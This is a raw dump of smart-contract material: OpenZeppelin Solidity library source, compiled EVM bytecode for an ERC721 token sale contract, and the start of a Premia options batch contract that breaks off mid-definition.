type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106101ee5760003560e01c80638da5cb5b1161010d578063c87b56dd116100a0578063dc80f5551161006f578063dc80f5551461056b578063e8a3d4851461057e578063e985e9c514610593578063ed810d30146105dc578063f2fde38b1461060957600080fd5b8063c87b56dd14610502578063cb4ee87014610522578063da863ed614610538578063dab2a15b1461054b57600080fd5b8063a22cb465116100dc578063a22cb4651461048d578063acf7dc4b146104ad578063b88d4fde146104c2578063c7c3268b146104e257600080fd5b80638da5cb5b1461041a5780639340b21e1461043857806395d89b41146104585780639c67127f1461046d57600080fd5b806342842e0e116101855780636352211e116101545780636352211e146103af57806370a08231146103cf578063715018a6146103ef5780637ff9b5961461040457600080fd5b806342842e0e146103235780634f6ccce7146103435780635a67de0714610363578063603f4d521461038357600080fd5b806318160ddd116101c157806318160ddd146102a457806323adc150146102c357806323b872dd146102e35780632f745c591461030357600080fd5b806301ffc9a7146101f357806306fdde0314610228578063081812fc1461024a578063095ea7b314610282575b600080fd5b3480156101ff57600080fd5b5061021361020e3660046125ef565b610629565b60405190151581526020015b60405180910390f35b34801561023457600080fd5b5061023d610696565b60405161021f9190612664565b34801561025657600080fd5b5061026a610265366004612677565b610728565b6040516001600160a01b03909116815260200161021f565b34801561028e57600080fd5b506102a261029d3660046126a7565b6107c2565b005b3480156102b057600080fd5b506013545b60405190815260200161021f565b3480156102cf57600080fd5b506102136102de3660046126d1565b6108d8565b3480156102ef57600080fd5b506102a26102fe3660046126ec565b610927565b34801561030f57600080fd5b506102b561031e3660046126a7565b610958565b34801561032f57600080fd5b506102a261033e3660046126ec565b6109ee565b34801561034f57600080fd5b506102b561035e366004612677565b610a09565b34801561036f57600080fd5b5061021361037e366004612739565b610a9c565b34801561038f57600080fd5b50600f5461039d9060ff1681565b60405160ff909116815260200161021f565b3480156103bb57600080fd5b5061026a6103ca366004612677565b610b44565b3480156103db57600080fd5b506102b56103ea3660046126d1565b610bbb565b3480156103fb57600080fd5b506102a2610c42565b34801561041057600080fd5b506102b5600e5481565b34801561042657600080fd5b506000546001600160a01b031661026a565b34801561044457600080fd5b5060085461026a906001600160a01b031681565b34801561046457600080fd5b5061023d610c78565b34801561047957600080fd5b50610213610488366004612754565b610c87565b34801561049957600080fd5b506102a26104a83660046127a2565b610f87565b3480156104b957600080fd5b5061021361104c565b3480156104ce57600080fd5b506102a26104dd3660046127f4565b61110b565b3480156104ee57600080fd5b506102136104fd3660046128d0565b611143565b34801561050e57600080fd5b5061023d61051d366004612677565b611184565b34801561052e57600080fd5b506102b560105481565b6102a2610546366004612739565b61125f565b34801561055757600080fd5b50610213610566366004612754565b61143d565b610213610579366004612754565b6114bf565b34801561058a57600080fd5b5061023d61187d565b34801561059f57600080fd5b506102136105ae366004612942565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b3480156105e857600080fd5b506102b56105f7366004612677565b60096020526000908152604090205481565b34801561061557600080fd5b506102a26106243660046126d1565b6118a5565b60006001600160e01b031982166380ac58cd60e01b148061065a57506001600160e01b03198216635b5e139f60e01b145b8061067557506001600160e01b0319821663780e9d6360e01b145b8061069057506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600180546106a590612975565b80601f01602080910402602001604051908101604052809291908181526020018280546106d190612975565b801561071e5780601f106106f35761010080835404028352916020019161071e565b820191906000526020600020905b81548152906001019060200180831161070157829003601f168201915b5050505050905090565b6000818152600360205260408120546001600160a01b03166107a65760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600560205260409020546001600160a01b031690565b60006107cd82610b44565b9050806001600160a01b0316836001600160a01b0316141561083b5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b606482015260840161079d565b336001600160a01b0382161480610857575061085781336105ae565b6108c95760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161079d565b6108d38383611940565b505050565b600080546001600160a01b031633146109035760405162461bcd60e51b815260040161079d906129b0565b50600880546001600160a01b0319166001600160a01b03831617905560015b919050565b61093133826119ae565b61094d5760405162461bcd60e51b815260040161079d906129e5565b6108d3838383611aa1565b600061096383610bbb565b82106109c55760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b606482015260840161079d565b506001600160a01b03919091166000908152601160209081526040808320938352929052205490565b6108d38383836040518060200160405280600081525061110b565b6000610a1460135490565b8210610a775760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b606482015260840161079d565b60138281548110610a8a57610a8a612a36565b90600052602060002001549050919050565b600080546001600160a01b03163314610ac75760405162461bcd60e51b815260040161079d906129b0565b600f54610ad89060ff166001612a62565b60ff168260ff16148015610aef575060048260ff16105b610b2b5760405162461bcd60e51b815260206004820152600d60248201526c696e76616c696420737461746560981b604482015260640161079d565b50600f805460ff831660ff199091161790556001919050565b6000818152600360205260408120546001600160a01b0316806106905760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161079d565b60006001600160a01b038216610c265760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161079d565b506001600160a01b031660009081526004602052604090205490565b6000546001600160a01b03163314610c6c5760405162461bcd60e51b815260040161079d906129b0565b610c766000611ce5565b565b6060600280546106a590612975565b600f5460009060ff16600114610cdf5760405162461bcd60e51b815260206004820152601d60248201527f707269766174652831292073616c65206973206e6f7420616374697665000000604482015260640161079d565b60006001610cec87611d35565b6040805160008152602081018083529290925260ff861690820152606081018790526080810186905260a0016020604051602081039080840390855afa158015610d3a573d6000803e3d6000fd5b5050604051601f1901516008549092506001600160a01b038084169116149050610d975760405162461bcd60e51b815260206004820152600e60248201526d34b73b30b634b21039b4b3b732b960911b604482015260640161079d565b610da460208701876126d1565b6001600160a01b0316336001600160a01b031614610e045760405162461bcd60e51b815260206004820152601b60248201527f73656e646572206973206e6f742074686520726563697069656e740000000000604482015260640161079d565b610e146040870160208801612739565b600f5460ff908116911614610e605760405162461bcd60e51b8152602060048201526012602482015271696e76616c69642073616c6520737461746560701b604482015260640161079d565b610e706060870160408801612739565b60ff16600114610e925760405162461bcd60e51b815260040161079d90612a87565b600c54600a54610ea29190612aae565b600b541115610ef35760405162461bcd60e51b815260206004820152601c60248201527f707269766174652831292073616c65206f7574206f6620746f6b656e00000000604482015260640161079d565b610f036103ea60208801886126d1565b15610f505760405162461bcd60e51b815260206004820152601860248201527f72657761726420697320636c61696d6564206265666f72650000000000000000604482015260640161079d565b610f79610f6060208801886126d1565b600b8054906000610f7083612ac6565b91905055611edd565b60019150505b949350505050565b6001600160a01b038216331415610fe05760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161079d565b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600080546001600160a01b031633146110775760405162461bcd60e51b815260040161079d906129b0565b600f5460ff16156110ca5760405162461bcd60e51b815260206004820152601b60248201527f696e697469616c2061737369676e6d656e7420697320656e6465640000000000604482015260640161079d565b60015b600a548111611103576110f16110eb6000546001600160a01b031690565b82611edd565b806110fb81612ac6565b9150506110cd565b506001905090565b61111533836119ae565b6111315760405162461bcd60e51b815260040161079d906129e5565b61113d84848484611f3c565b50505050565b600080546001600160a01b0316331461116e5760405162461bcd60e51b815260040161079d906129b0565b61117a60078484612540565b5060019392505050565b6000818152600360205260409020546060906001600160a01b03166112035760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b606482015260840161079d565b600061120d611f6f565b9050600081511161122d5760405180602001604052806000815250611258565b8061123784611f7e565b604051602001611248929190612ae1565b6040516020818303038152906040525b9392505050565b600f5460ff166003146112b45760405162461bcd60e51b815260206004820152601860248201527f7075626c69632073616c65206973206e6f7420626567756e0000000000000000604482015260640161079d565b60008160ff161180156112cb575060038160ff1611155b6112e75760405162461bcd60e51b815260040161079d90612a87565b60008160ff16600e546112fa9190612b20565b9050803410156113415760405162461bcd60e51b8152602060048201526012602482015271696e73756666696369656e742076616c756560701b604482015260640161079d565b600080546040516001600160a01b039091169183156108fc02918491818181858888f1935050505015801561137a573d6000803e3d6000fd5b50336108fc6113898334612b3f565b6040518115909202916000818181858888f193505050501580156113b1573d6000803e3d6000fd5b5060096113bd33610bbb565b106114145760405162461bcd60e51b815260206004820152602160248201527f7075626c69632073616c65206d617820746f74616c20627579207265616368656044820152601960fa1b606482015260840161079d565b60005b8260ff168110156108d35761142b33610f60565b8061143581612ac6565b915050611417565b600080600161144b87611d35565b6040805160008152602081018083529290925260ff861690820152606081018790526080810186905260a0016020604051602081039080840390855afa158015611499573d6000803e3d6000fd5b5050604051601f1901516008546001600160a01b03908116911614979650505050505050565b600f5460009060ff166002146115175760405162461bcd60e51b815260206004820152601d60248201527f707269766174652832292073616c65206973206e6f7420616374697665000000604482015260640161079d565b6000600161152487611d35565b6040805160008152602081018083529290925260ff861690820152606081018790526080810186905260a0016020604051602081039080840390855afa158015611572573d6000803e3d6000fd5b5050604051601f1901516008549092506001600160a01b0380841691161490506115cf5760405162461bcd60e51b815260206004820152600e60248201526d34b73b30b634b21039b4b3b732b960911b604482015260640161079d565b6115dc60208701876126d1565b6001600160a01b0316336001600160a01b03161461163c5760405162461bcd60e51b815260206004820152601b60248201527f73656e646572206973206e6f742074686520726563697069656e740000000000604482015260640161079d565b61164c6040870160208801612739565b600f5460ff9081169116146116985760405162461bcd60e51b8152602060048201526012602482015271696e76616c69642073616c6520737461746560701b604482015260640161079d565b60006116aa6060880160408901612739565b60ff161180156116cd575060036116c76060880160408901612739565b60ff1611155b6116e95760405162461bcd60e51b815260040161079d90612a87565b60006116fb6060880160408901612739565b60ff16600e5461170b9190612b20565b9050803410156117525760405162461bcd60e51b8152602060048201526012602482015271696e73756666696369656e742076616c756560701b604482015260640161079d565b600080546040516001600160a01b039091169183156108fc02918491818181858888f1935050505015801561178b573d6000803e3d6000fd5b50336108fc61179a8334612b3f565b6040518115909202916000818181858888f193505050501580156117c2573d6000803e3d6000fd5b5060096117d56103ea60208a018a6126d1565b106118305760405162461bcd60e51b815260206004820152602560248201527f707269766174652832292073616c65206d617820746f74616c206275792072656044820152641858da195960da1b606482015260840161079d565b60005b6118436060890160408a01612739565b60ff1681101561186f5761185d610f6060208a018a6126d1565b8061186781612ac6565b915050611833565b506001979650505050505050565b606060076040516020016118919190612b56565b604051602081830303815290604052905090565b6000546001600160a01b031633146118cf5760405162461bcd60e51b815260040161079d906129b0565b6001600160a01b0381166119345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161079d565b61193d81611ce5565b50565b600081815260056020526040902080546001600160a01b0319166001600160a01b038416908117909155819061197582610b44565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600360205260408120546001600160a01b0316611a275760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161079d565b6000611a3283610b44565b9050806001600160a01b0316846001600160a01b03161480611a6d5750836001600160a01b0316611a6284610728565b6001600160a01b0316145b80610f7f57506001600160a01b0380821660009081526006602090815260408083209388168352929052205460ff16610f7f565b600f5460ff1660031480611ac257506000546001600160a01b038481169116145b611b0e5760405162461bcd60e51b815260206004820152601b60248201527f7761697420666f72207075626c69632073616c6520626567696e730000000000604482015260640161079d565b826001600160a01b0316611b2182610b44565b6001600160a01b031614611b895760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b606482015260840161079d565b6001600160a01b038216611beb5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161079d565b611bf683838361207c565b611c01600082611940565b6001600160a01b0383166000908152600460205260408120805460019290611c2a908490612b3f565b90915550506001600160a01b0382166000908152600460205260408120805460019290611c58908490612aae565b9091555050600081815260036020908152604080832080546001600160a01b0319166001600160a01b03871617905560099091528120805491611c9a83612ac6565b919050555080826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b604080517fd87cd6ef79d4e2b95e15ce8abf732db51ec771f1ca2edccf22a46c729ac5647260208201527f1aed75847cab695cf3ccac94d7f15408b03312f02a9cbd44c24b993772c9a4e3918101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a08201527fec929733770ccce0e32fc02478782d749369e41288a849d0d5f4566e830b14f960c0820152600090819060e00160408051601f198184030181529190528051602091820120915081907f9375f765667652beb4d0b4dca4441a70aa6863596f64451addcece4f68b5cc3a90611e31908601866126d1565b611e416040870160208801612739565b611e516060880160408901612739565b6040805160208101959095526001600160a01b039093169284019290925260ff908116606084015216608082015260a00160405160208183030381529060405280519060200120604051602001611ebf92919061190160f01b81526002810192909252602282015260420190565b60405160208183030381529060405280519060200120915050919050565b600d54811115611f1e5760405162461bcd60e51b815260206004820152600c60248201526b37baba1037b3103a37b5b2b760a11b604482015260640161079d565b611f38828260405180602001604052806000815250612134565b5050565b611f47848484611aa1565b611f5384848484612167565b61113d5760405162461bcd60e51b815260040161079d90612c07565b6060600780546106a590612975565b606081611fa25750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611fcc5780611fb681612ac6565b9150611fc59050600a83612c6f565b9150611fa6565b60008167ffffffffffffffff811115611fe757611fe76127de565b6040519080825280601f01601f191660200182016040528015612011576020820181803683370190505b5090505b8415610f7f57612026600183612b3f565b9150612033600a86612c83565b61203e906030612aae565b60f81b81838151811061205357612053612a36565b60200101906001600160f81b031916908160001a905350612075600a86612c6f565b9450612015565b6001600160a01b0383166120d7576120d281601380546000838152601460205260408120829055600182018355919091527f66de8ffda797e3de9c05e8fc57b3bf0ec28a930d40b0d285d93c06501cf6a0900155565b6120fa565b816001600160a01b0316836001600160a01b0316146120fa576120fa8382612262565b6001600160a01b038216612111576108d3816122ff565b826001600160a01b0316826001600160a01b0316146108d3576108d382826123ae565b61213e83836123f2565b61214b6000848484612167565b6108d35760405162461bcd60e51b815260040161079d90612c07565b60006001600160a01b0384163b1561225a57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906121ab903390899088908890600401612c97565b6020604051808303816000875af19250505080156121e6575060408051601f3d908101601f191682019092526121e391810190612cd4565b60015b612240573d808015612214576040519150601f19603f3d011682016040523d82523d6000602084013e612219565b606091505b5080516122385760405162461bcd60e51b815260040161079d90612c07565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610f7f565b506001610f7f565b6000600161226f84610bbb565b6122799190612b3f565b6000838152601260205260409020549091508082146122cc576001600160a01b03841660009081526011602090815260408083208584528252808320548484528184208190558352601290915290208190555b5060009182526012602090815260408084208490556001600160a01b039094168352601181528383209183525290812055565b60135460009061231190600190612b3f565b6000838152601460205260408120546013805493945090928490811061233957612339612a36565b90600052602060002001549050806013838154811061235a5761235a612a36565b600091825260208083209091019290925582815260149091526040808220849055858252812055601380548061239257612392612cf1565b6001900381819060005260206000200160009055905550505050565b60006123b983610bbb565b6001600160a01b039093166000908152601160209081526040808320868452825280832085905593825260129052919091209190915550565b6001600160a01b0382166124485760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161079d565b6000818152600360205260409020546001600160a01b0316156124ad5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161079d565b6124b96000838361207c565b6001600160a01b03821660009081526004602052604081208054600192906124e2908490612aae565b909155505060008181526003602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461254c90612975565b90600052602060002090601f01602090048101928261256e57600085556125b4565b82601f106125875782800160ff198235161785556125b4565b828001600101855582156125b4579182015b828111156125b4578235825591602001919060010190612599565b506125c09291506125c4565b5090565b5b808211156125c057600081556001016125c5565b6001600160e01b03198116811461193d57600080fd5b60006020828403121561260157600080fd5b8135611258816125d9565b60005b8381101561262757818101518382015260200161260f565b8381111561113d5750506000910152565b6000815180845261265081602086016020860161260c565b601f01601f19169290920160200192915050565b6020815260006112586020830184612638565b60006020828403121561268957600080fd5b5035919050565b80356001600160a01b038116811461092257600080fd5b600080604083850312156126ba57600080fd5b6126c383612690565b946020939093013593505050565b6000602082840312156126e357600080fd5b61125882612690565b60008060006060848603121561270157600080fd5b61270a84612690565b925061271860208501612690565b9150604084013590509250925092565b803560ff8116811461092257600080fd5b60006020828403121561274b57600080fd5b61125882612728565b60008060008084860360c081121561276b57600080fd5b606081121561277957600080fd5b50849350606085013592506080850135915061279760a08601612728565b905092959194509250565b600080604083850312156127b557600080fd5b6127be83612690565b9150602083013580151581146127d357600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b6000806000806080858703121561280a57600080fd5b61281385612690565b935061282160208601612690565b925060408501359150606085013567ffffffffffffffff8082111561284557600080fd5b818701915087601f83011261285957600080fd5b81358181111561286b5761286b6127de565b604051601f8201601f19908116603f01168101908382118183101715612893576128936127de565b816040528281528a60208487010111156128ac57600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b600080602083850312156128e357600080fd5b823567ffffffffffffffff808211156128fb57600080fd5b818501915085601f83011261290f57600080fd5b81358181111561291e57600080fd5b86602082850101111561293057600080fd5b60209290920196919550909350505050565b6000806040838503121561295557600080fd5b61295e83612690565b915061296c60208401612690565b90509250929050565b600181811c9082168061298957607f821691505b602082108114156129aa57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060ff821660ff84168060ff03821115612a7f57612a7f612a4c565b019392505050565b6020808252600d908201526c1a5b9d985b1a590818dbdd5b9d609a1b604082015260600190565b60008219821115612ac157612ac1612a4c565b500190565b6000600019821415612ada57612ada612a4c565b5060010190565b60008351612af381846020880161260c565b835190830190612b0781836020880161260c565b64173539b7b760d91b9101908152600501949350505050565b6000816000190483118215151615612b3a57612b3a612a4c565b500290565b600082821015612b5157612b51612a4c565b500390565b600080835481600182811c915080831680612b7257607f831692505b6020808410821415612b9257634e487b7160e01b86526022600452602486fd5b818015612ba65760018114612bb757612be4565b60ff19861689528489019650612be4565b60008a81526020902060005b86811015612bdc5781548b820152908501908301612bc3565b505084890196505b505050505050610f7f816c31b7b73a3930b1ba173539b7b760991b8152600d0190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b634e487b7160e01b600052601260045260246000fd5b600082612c7e57612c7e612c59565b500490565b600082612c9257612c92612c59565b500690565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612cca90830184612638565b9695505050505050565b600060208284031215612ce657600080fd5b8151611258816125d9565b634e487b7160e01b600052603160045260246000fdfea2646970667358221220b5a35b2579f0283c6db4b2f9bf9d51884392a89450abda2281fef22da326f13e64736f6c634300080c0033
[ 5, 11 ]
0xf386D276d648E84Cbb7013Db97d952fDD0092DBC
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./interface/IPremiaOption.sol"; /// @author Premia /// @title Batch functions to interact with PremiaOption contract PremiaOptionBatch { /// @notice Write multiple options at once /// @param _premiaOption A PremiaOption contract /// @param _options Options to write /// @param _referrer Referrer function batchWriteOption(IPremiaOption _premiaOption, IPremiaOption.OptionWriteArgs[] memory _options, address _referrer) external { for (uint256 i = 0; i < _options.length; ++i) { _premiaOption.writeOptionFrom(msg.sender, _options[i], _referrer); } } /// @notice Cancel multiple options at once /// @param _premiaOption A PremiaOption contract /// @param _optionId List of ids of options to cancel /// @param _amounts Amount to cancel for each option function batchCancelOption(IPremiaOption _premiaOption, uint256[] memory _optionId, uint256[] memory _amounts) external { require(_optionId.length == _amounts.length, "Arrays diff len"); for (uint256 i = 0; i < _optionId.length; ++i) { _premiaOption.cancelOptionFrom(msg.sender, _optionId[i], _amounts[i]); } } /// @notice Withdraw funds from multiple options at once /// @param _premiaOption A PremiaOption contract /// @param _optionId List of ids of options to withdraw funds from function batchWithdraw(IPremiaOption _premiaOption, uint256[] memory _optionId) external { for (uint256 i = 0; i < _optionId.length; ++i) { _premiaOption.withdrawFrom(msg.sender, _optionId[i]); } } /// @notice Exercise multiple options at once /// @param _premiaOption A PremiaOption contract /// @param _optionId List of ids of options to exercise /// @param _amounts Amount to exercise for each option /// @param _referrer Referrer function batchExerciseOption(IPremiaOption _premiaOption, uint256[] memory _optionId, uint256[] memory _amounts, address _referrer) external { require(_optionId.length == _amounts.length, "Arrays diff len"); for (uint256 i = 0; i < _optionId.length; ++i) { _premiaOption.exerciseOptionFrom(msg.sender, _optionId[i], _amounts[i], _referrer); } } /// @notice Withdraw funds pre expiration from multiple options at once /// @param _premiaOption A PremiaOption contract /// @param _optionId List of ids of options to withdraw funds from /// @param _amounts Amount to withdraw pre expiration for each option function batchWithdrawPreExpiration(IPremiaOption _premiaOption, uint256[] memory _optionId, uint256[] memory _amounts) external { require(_optionId.length == _amounts.length, "Arrays diff len"); for (uint256 i = 0; i < _optionId.length; ++i) { _premiaOption.withdrawPreExpirationFrom(msg.sender, _optionId[i], _amounts[i]); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import '@openzeppelin/contracts/token/ERC1155/IERC1155.sol'; import "../interface/IFlashLoanReceiver.sol"; import "../uniswapV2/interfaces/IUniswapV2Router02.sol"; interface IPremiaOption is IERC1155 { struct OptionWriteArgs { address token; // Token address uint256 amount; // Amount of tokens to write option for uint256 strikePrice; // Strike price (Must follow strikePriceIncrement of token) uint256 expiration; // Expiration timestamp of the option (Must follow expirationIncrement) bool isCall; // If true : Call option | If false : Put option } struct OptionData { address token; // Token address uint256 strikePrice; // Strike price (Must follow strikePriceIncrement of token) uint256 expiration; // Expiration timestamp of the option (Must follow expirationIncrement) bool 